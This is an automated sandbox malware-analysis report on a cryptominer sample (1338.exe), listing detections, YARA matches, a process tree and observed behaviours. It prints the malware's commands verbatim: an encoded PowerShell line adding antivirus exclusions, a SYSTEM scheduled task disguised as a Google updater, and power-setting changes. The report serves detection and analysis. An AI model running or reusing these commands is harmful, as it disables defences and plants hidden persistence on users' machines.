Edit tour

Windows Analysis Report
1338.exe

Overview

General Information

Sample Name:	1338.exe
Analysis ID:	633539
MD5:	ac711e6653707f0b1d245ff40d95385f
SHA1:	279b9abaf000303983d6ecfb91e8b221b00fb198
SHA256:	909409814d725477622728168035c3f2d259b5d8aa1ca77403d8c259bd7aba63
Tags:	exe
Infos:

Detection

BitCoin Miner, SilentXMRMiner, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

Antivirus / Scanner detection for submitted sample

Yara detected SilentXMRMiner

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Yara detected BitCoin Miner

Modifies power options to not sleep / hibernate

Writes to foreign memory regions

Found strings related to Crypto-Mining

Encrypted powershell cmdline option found

Allocates memory in foreign processes

Creates files in the system32 config directory

Injects a PE file into a foreign processes

Obfuscated command line found

Modifies the context of a thread in another process (thread injection)

Creates a thread in another existing process (thread injection)

Uses schtasks.exe or at.exe to add and modify task schedules

Potential dropper URLs found in powershell memory

Uses powercfg.exe to modify the power settings

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

1338.exe (PID: 7044 cmdline: "C:\Users\user\Desktop\1338.exe" MD5: AC711E6653707F0B1D245FF40D95385F)

conhost.exe (PID: 7056 cmdline: C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\1338.exe MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 7124 cmdline: C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6280 cmdline: powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A" MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 4992 cmdline: "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 4680 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6868 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 3392 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6448 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

cmd.exe (PID: 6832 cmdline: "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 7000 cmdline: schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"' MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 2508 cmdline: C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 6772 cmdline: schtasks /run /tn "GoogleUpdateTaskMachineQC" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

updater.exe (PID: 6800 cmdline: C:\Program Files\Google\Chrome\updater.exe MD5: AC711E6653707F0B1D245FF40D95385F)

conhost.exe (PID: 6936 cmdline: C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3552 cmdline: C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6476 cmdline: powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A" MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 2252 cmdline: "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powercfg.exe (PID: 5800 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 6768 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 7100 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

powercfg.exe (PID: 4556 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 7C749DC22FCB1ED42A87AFA986B720F5)

conhost.exe (PID: 6712 cmdline: C:\Windows\System32\conhost.exe MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 6236 cmdline: C:\Windows\System32\conhost.exe" "ossgiopsxz MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 6936	CoinMiner_Strings	Detects mining pool protocol string in Executable	Florian Roth	0x81eb3:$sa1: stratum+tcp:// 0x85ca7:$sa1: stratum+tcp:// 0x12d467:$sa1: stratum+tcp:// 0x13125b:$sa1: stratum+tcp://
Process Memory Space: conhost.exe PID: 6936	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: conhost.exe PID: 6936	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 6936	JoeSecurity_SilentXMRMiner	Yara detected SilentXMRMiner	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.conhost.exe.27e10da3ca8.5.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.2.conhost.exe.27e10da3ca8.5.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.2.conhost.exe.27e112a3ce0.6.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.2.conhost.exe.27e10b23c70.4.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
24.2.conhost.exe.27e112a3ce0.6.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1338.exe	Virustotal: Detection: 68%	Perma Link
Source: 1338.exe	Metadefender: Detection: 33%	Perma Link
Source: 1338.exe	ReversingLabs: Detection: 73%

Antivirus / Scanner detection for submitted sample

Source: 1338.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe

Avira: detection malicious, Label: HEUR/AGEN.1205338

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files\Google\Chrome\updater.exe	Metadefender: Detection: 33%	Perma Link
Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 73%

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 24.2.conhost.exe.27e10da3ca8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.conhost.exe.27e10da3ca8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.conhost.exe.27e112a3ce0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.conhost.exe.27e10b23c70.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.conhost.exe.27e112a3ce0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 6936, type: MEMORYSTR

Yara detected SilentXMRMiner

Source: Yara match

File source: Process Memory Space: conhost.exe PID: 6936, type: MEMORYSTR

Yara detected BitCoin Miner

Source: Yara match

File source: Process Memory Space: conhost.exe PID: 6936, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://-:x@exit:0
Source: conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://-:x@exit:0

Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Chrome\updater.exe	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Libs	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Directory created: C:\Program Files\Google\Telemetry	Jump to behavior

Source:

Binary string: H:\CRYPTOCOIN\Mandark-master\obj\x64\Release\ClassLibrary.pdb source: conhost.exe, 00000018.00000002.674440898.0000027E779F0000.00000004.08000000.00040000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQuery

Source: powershell.exe, 00000004.00000002.479136799.000002986A060000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000003.532650408.0000023C451E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000004.00000002.479466307.000002986A4C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000004.00000003.442875745.000002986A154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000004.00000003.442875745.000002986A154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.coji
Source: powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: conhost.exe, 00000001.00000002.516335707.000002779FFB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.469069937.0000029851FE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.599425355.0000023C45321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/licenses/
Source: conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jsonrpc.org/
Source: powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.469456893.00000298521EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: conhost.exe, 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/openwall/john/issues/3454#issuecomment-436899959
Source: powershell.exe, 00000004.00000002.478242785.00000298536E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.478394402.0000029862043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.479136799.000002986A060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.vign.

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: Process Memory Space: conhost.exe PID: 6936, type: MEMORYSTR

Matched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26, nodeepdive =

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_frzn2qj0.jw3.ps1

Source: C:\Windows\System32\conhost.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000002779DE89106	1_2_000002779DE89106
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000002779DE894D6	1_2_000002779DE894D6
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000002779DE884D2	1_2_000002779DE884D2
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000002779DE8990E	1_2_000002779DE8990E
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000002779DE89D6A	1_2_000002779DE89D6A
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_00007FF9F1C358CE	1_2_00007FF9F1C358CE
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_00007FF9F1C34B1E	1_2_00007FF9F1C34B1E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF9F1B51958	4_2_00007FF9F1B51958
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_0000027E764F9106	24_2_0000027E764F9106
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_0000027E764F94D6	24_2_0000027E764F94D6
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_0000027E764F84D2	24_2_0000027E764F84D2
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_0000027E764F990E	24_2_0000027E764F990E
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_0000027E764F9D6A	24_2_0000027E764F9D6A
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_00007FF9F1C04AA6	24_2_00007FF9F1C04AA6
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_00007FF9F1C05852	24_2_00007FF9F1C05852
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_00007FF9F1C003D8	24_2_00007FF9F1C003D8
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00000286977B50D6	41_2_00000286977B50D6
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00000286977B4D06	41_2_00000286977B4D06
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00000286977B596A	41_2_00000286977B596A
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00000286977B550E	41_2_00000286977B550E
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00000286977B40D2	41_2_00000286977B40D2
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00007FF9F1C04536	41_2_00007FF9F1C04536
Source: C:\Windows\System32\conhost.exe	Code function: 41_2_00007FF9F1C052E2	41_2_00007FF9F1C052E2

Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_004019C6 NtAllocateVirtualMemory,	0_2_004019C6
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_00401946 NtCreateThreadEx,	0_2_00401946
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_00401A06 NtProtectVirtualMemory,	0_2_00401A06
Source: C:\Users\user\Desktop\1338.exe	Code function: 0_2_00401986 NtWriteVirtualMemory,	0_2_00401986
Source: C:\Windows\System32\conhost.exe	Code function: 24_2_00007FF9F1C0690E NtUnmapViewOfSection,	24_2_00007FF9F1C0690E
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00401946 NtCreateThreadEx,	37_2_00401946
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00401986 NtWriteVirtualMemory,	37_2_00401986

Source: Joe Sandbox View

Dropped File: C:\Program Files\Google\Chrome\updater.exe 909409814D725477622728168035C3F2D259B5D8AA1CA77403D8C259BD7ABA63

Source: 1338.exe	Static PE information: Section: .rdata ZLIB complexity 0.999571628982
Source: updater.exe.1.dr	Static PE information: Section: .rdata ZLIB complexity 0.999571628982

Source: 1338.exe	Virustotal: Detection: 68%
Source: 1338.exe	Metadefender: Detection: 33%
Source: 1338.exe	ReversingLabs: Detection: 73%

Source: 1338.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\1338.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1338.exe "C:\Users\user\Desktop\1338.exe"
Source: C:\Users\user\Desktop\1338.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\1338.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"'
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /run /tn "GoogleUpdateTaskMachineQC"
Source: unknown	Process created: C:\Program Files\Google\Chrome\updater.exe C:\Program Files\Google\Chrome\updater.exe
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
